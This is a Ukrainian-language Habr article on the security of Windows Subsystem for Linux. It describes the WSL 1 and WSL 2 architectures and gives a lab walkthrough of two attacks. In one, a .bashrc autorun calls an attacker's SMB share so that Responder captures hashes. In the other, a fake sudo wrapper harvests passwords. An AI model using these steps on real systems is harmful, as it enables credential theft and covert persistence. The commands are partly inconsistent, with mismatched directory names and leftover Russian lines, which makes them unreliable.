Привіт, хабре! У жовтні OTUS запускає новий потік курсу . Напередодні старту курсу ділимося з вами статтею, яку написав один із наших викладачів Олександр Колесніков.
У 2016 році компанія Microsoft представила IT спільноті нову технологію WSL (WIndows Subsystem for Linux), що в перспективі дозволяла об'єднати до цього непримиренних конкурентів, які боролися за популярність як серед пересічних, так і сучасних користувачів ОС: Windows і Linux. Ця технологія надавала можливість використовувати інструменти ОС Linux серед Windows без необхідності запуску Linux, наприклад, з допомогою мультизавантаження (Multi-boot). На Habr можна знайти велику кількість статей, що описують переваги використання WSL. Однак, на жаль, на момент створення статті на даному ресурсі не було виявлено досліджень безпеки такого симбіозу операційних систем. Цей пост стане спробою це виправити. У статті буде розказано про особливості архітектури WSL 1 і 2, розібрано кілька прикладів атак на системи, що використовують дані технології. Статтю розбито на 2 частини. У першій будуть надані основні теоретичні методи атак з боку Linux та Windows. Друга стаття включатиме налаштування тестового середовища і відтворення атак.
WSL 1: особливості архітектури
Для найточнішого занурення у проблеми безпеки WSL необхідно визначити основні нюанси, пов'язані з імплементацією підсистеми. Однією з головних завдань користувача, вирішуваних WSL, є надання можливості роботи через термінал Linux систем на хості з ОС Windows. Також запропонована сумісність була настільки нативною, що файли Linux (ELF), що виконуються, могли бути запущені прямо в системі Windows. Для досягнення цих цілей у Windows 10 була створена спеціальна підсистема, що дозволяє запускати програми Linux за допомогою набору певних системних викликів - таким чином, була спроба мапінгу набору syscall-ів Linux на Windows. Фізично це було реалізовано шляхом додавання нових драйверів та нового формату процесу. Візуально архітектура виглядала так:
По суті, взаємодія з операційною системою Linux була організована за допомогою кількох ядерних модулів та спеціального виду процесів – pico. Зі схеми вище видно, що процес, запущений в інстанс Linux на хості, повинен бути нативним і повинен використовувати ті ж ресурси, що й звичайні програми Windows. Але як цього досягти? В проекті були розроблені концепти процесів для Windows, які надавали всі необхідні компоненти операційної системи (залежно від її версії) для запуску програми іншої ОС.
Зауважимо, що запропонована абстракція дозволяла не орієнтуватися на операційну систему (зокрема Windows), в якій очікується запуск процесу іншої ОС, і пропонувала загальний підхід.
Таким чином, будь-яка програма всередині pico процесу могла працювати без огляду на ядро Windows:
- Проблеми сумісності та трансляції системних викликів мають вирішувати спеціальні провайдери;
- Розмежування доступу повинно здійснюватись через Монітор безпеки. Монітор розташовується в ядрі і тому Windows був необхідний апгрейд у вигляді нового драйвера, який міг би виступати як провайдер для таких процесів. Прототип процесу pico схематично представлений нижче:
Оскільки файлова система Linux використовує реєстрозалежні назви файлів і директорій, у Windows були додані два типи файлових систем для роботи з WSL - VolFS і DriveFS. VolFS - імплементація файлової системи Linux, DriveFS - файлова система, яка працює за правилами Windows, але має можливість вибору чутливості до регістра імен.
WSL 2
WSL 1 мала низку обмежень, що не дозволяли використовувати її для вирішення максимального спектра завдань: наприклад, в ній була відсутня можливість запуску 32-бітних Linux додатків, не можна було використовувати драйвер. Тому в 2020 році було випущено WSL 2, яка змінила підхід до побудови підсистеми. WSL 2 – це оптимізована віртуальна машина, яка відповідає характеристикам WSL 1 щодо споживання ресурсів. Тепер, залежно від проблем, які вирішує користувач Windows, можна вибирати необхідну версію підсистеми роботи з Linux. Для мітігації можливих уразливостей WSL 2 була реалізована на базі Hyper-V у Windows 10. У цьому виді Windows має можливість ізольовано запускати ядро операційної системи Linux. Варто пам'ятати, що версія 1 WSL була представлена як бета-фіча, яка мала показати вектор розвитку Windows у цій галузі, тому перехід на Hyper-V був неминучим. Підсумкова архітектура виглядає так:
У цій версії ядер систем Windows і Linux є свої власні ресурси і перетин існує тільки у файловій системі, проте це перетин не можна назвати повним. Взаємодія між файловими системами проводиться за рахунок клієнт-серверної обгортки, яка працює за протоколом 9P.
На сьогоднішній день Microsoft надає можливість перемикання між WSL 1 та WSL 2. Обидві версії доступні для використання.
Безпека WSL
На даний момент існують кілька робіт, що описують деякі підходи до використання легітимних інструментів ОС для атаки взаємодії між підсистемами. Ми використовуватимемо їх сценарії для перевірки актуальності атак на момент написання статті. Загальний перелік атак та сценарії проведення:
1. Імплементація файлової системи: права доступу, наявність загальних директорій/механізмів обміну даними.
Дослідження проводилися щодо порушення правил доступу з Linux FS->Windows FS, Windows FS->Linux FS. Дослідження демонстрували можливість модифікації заданого файлу усередині цільової ОС. Також були проведені спроби заміни, створення двійників та видалення частини файлових систем.
сценарій:
- A. Атака з операційної системи Windows – модифікація файлів із директорії /etc ОС Linux.
- B. Атака з операційної системи Linux – модифікація файлів у директоріях:
C:Windows,C:Program Files,C:Users<User>
2. Імплементація мережевого стека.
Дослідження проводилися на прикладах атак із боку операційної системи Linux на Windows. Використовувалися особливості роботи мережевого стека, а саме механізми автентифікації на різних ресурсах.
сценарій:
- Відкриття доступу до порту, зайнятого в системі Windows
- Відкриття порту за відсутності відповідних прав
- Запуск reverse shell із використанням elf файлу в операційній системі Windows.
3. Приховування запуску шкідливого програмного забезпечення за рахунок підсистеми WSL.
Дослідження базувалися на простому факті — підсистеми захисту не можуть проводити перехоплення подій в іншому ядрі, яке працює з використанням легітимного провайдера з боку операційної системи у випадку WSL 1. У випадку WSL 2 немає можливості переглянути події, які відбуваються в окремому ядрі в рамках легка віртуальна машина.
сценарій:
1) Запуск програми для віддаленого доступу до системи та перегляд подій, що реєструються.
WSL 1 експерименти: перехоплення хеша (ОС Windows)
Нарешті ми дісталися практичної частини. Для початку необхідно настроїти оточення для тестів. Всі експерименти будуть проводитися на стенді зі встановленим Windows 10 2004. Як образ операційної системи для WSL було обрано образ Ubuntu 18.04. Образ був обраний випадково, і будь-який інший працюватиме так само. Команди для налаштування стенду:
Попередньо потрібно запустити powershell.exe від імені адміністратора.
Для WSL 1 необхідно виконати команди:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Після перезавантаження стенда можна викликати команду bash. Якщо все правильно спрацювало, то ви побачите приблизно такий висновок у консолі Windows:
Як машина атакуючого використовуватимемо дистрибутив Kali Linux, всі машини повинні знаходитися в одній локальній мережі.
Припустимо, що ми маємо непривілейований доступ до WSL на машині Windows. Спробуємо провести атаку на операційну систему Linux, викликавши команду з Linux. Для реалізації атаки скористаємося простою технікою автозапуску - додамо наш скрипт для виконання в середовищі Linux. Для цього потрібно змінити файл .bashrc.
На машині з WSL виконуємо:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitНа машині Kali Linux виконуємо:
1. Responder -I eth0 -rdvwНа машині Windows запустимо bash.
Чекаємо на результат на машині Kali Linux:
Таким чином, ми отримали хеші користувача Windows через підсистему WSL, виконавши команду системи Linux.
WSL 1 експерименти: отримання пароля користувача (ОС Linux)
Проведемо ще один експеримент. Під час цієї перевірки ми доповнимо файл .bashrc Декількома командами для того, щоб отримати пароль користувача операційної системи Linux.
Запустимо bash і введемо команди:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Для успішного завершення атаки необхідно, щоб користувач Sam викликав sudo у терміналі Linux. Після цього пароль користувача ОС Linux опиниться у файлі pass.txt:
Реалізація атак була наведена лише для теоретичного ознайомлення.
У наступній частині статті буде описано реалізацію протоколу 9P, розглянуто створення сканера для цього протоколу, а також проведено атаку з його допомогою.
Список використаної літератури
Читати ще
Джерело: habr.com